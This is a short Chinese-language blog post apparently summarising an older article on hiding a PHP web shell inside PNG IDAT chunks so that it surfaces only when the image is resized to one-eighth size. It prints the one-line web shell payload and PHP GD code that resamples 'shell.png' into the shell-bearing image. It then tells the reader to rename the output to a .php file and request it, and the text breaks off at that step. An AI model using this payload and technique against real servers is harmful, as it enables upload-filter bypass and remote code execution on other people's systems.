原文在这里:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
很老的一篇文章,大概说的是在png图片里面隐藏php一句话代码。现在看来,实现也不难,使用copy命令即可。
之所以还写出来是为了练习PHP编程。
还可以参考:https://bugscollector.com/tricks/12/
Both images below contain the web shell when resized to 1/8th of theiroriginal size.
Resize to 32x32 using imagecopyresample and save as a PNG using GD to reveal the shell.
就这样原文中没有给出resized 图像的代码,这里贴出一份。
<?php
// 这个文件
$filename = 'shell.png';
$percent = 1/8;
// 获取新的尺寸
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;
// 重新取样
$image_p = imagecreatetruecolor($new_width, $new_height);
$image = imagecreatefrompng($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
// 输出
imagepng($image_p, 'shell2.png');
?>
原图是看不到php 一句话的(<?=$_GET[0]($_POST[1]);?>),只有缩小到原来的八分之一才显出来。
将生成的png图片重命名为php文件,然后如下访问: